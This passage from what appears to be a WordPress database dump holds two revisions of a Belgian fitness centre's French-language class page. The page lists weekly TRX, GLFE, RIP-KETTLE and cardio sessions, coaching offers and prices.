'http://www.crosstrainingcenter.be/11-revision-119/', 0, 'revision', '', 0),
(347, 1, '2013-10-05 08:40:45', '2013-10-05 08:40:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:40:45', '2013-10-05 08:40:45', '', 11, 'http://www.crosstrainingcenter.be/11-revision-118/', 0, 'revision', '', 0);
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(350, 1, '2013-10-05 08:51:08', '2013-10-05 08:51:08', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:51:08', '2013-10-05 08:51:08', '', 11, 'http://www.crosstrainingcenter.be/11-revision-121/', 0, 'revision', '', 0),
